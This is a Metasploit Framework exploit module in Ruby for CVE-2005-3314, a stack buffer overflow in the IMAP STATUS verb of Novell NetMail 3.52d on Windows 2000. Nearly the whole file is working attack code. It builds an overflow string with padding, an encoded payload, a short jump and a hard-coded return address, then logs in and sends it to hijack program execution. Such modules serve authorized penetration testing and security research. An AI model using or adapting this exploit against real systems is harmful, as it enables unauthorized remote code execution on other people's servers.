metasploit-framework/modules/exploits/windows/imap/novell_netmail_status.rb

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Imap

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Novell NetMail <= 3.52d IMAP STATUS Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Novell's Netmail 3.52 IMAP STATUS
        verb. By sending an overly long string, an attacker can overwrite the
        buffer and control program execution.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2005-3314' ],
          [ 'OSVDB', '20956' ],
          [ 'BID', '15491' ],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 500,
          'BadChars' => "\x00\x0a\x0d\x20",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Windows 2000 SP0-SP4 English',   { 'Ret' => 0x75022ac4 }],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Nov 18 2005'))

  end

  def exploit
    sploit =  "a002 STATUS " + rand_text_english(1602) + payload.encoded
    sploit << "\xeb\x06" + rand_text_english(2) + [target.ret].pack('V')
    sploit <<  [0xe8, -485].pack('CV') + rand_text_english(150) + " inbox"

    info = connect_login

    if (info == true)
      print_status("Trying target #{target.name}...")
      sock.put(sploit + "\r\n")
    else
      print_status("Not falling through with exploit")
    end

    handler
    disconnect
  end
end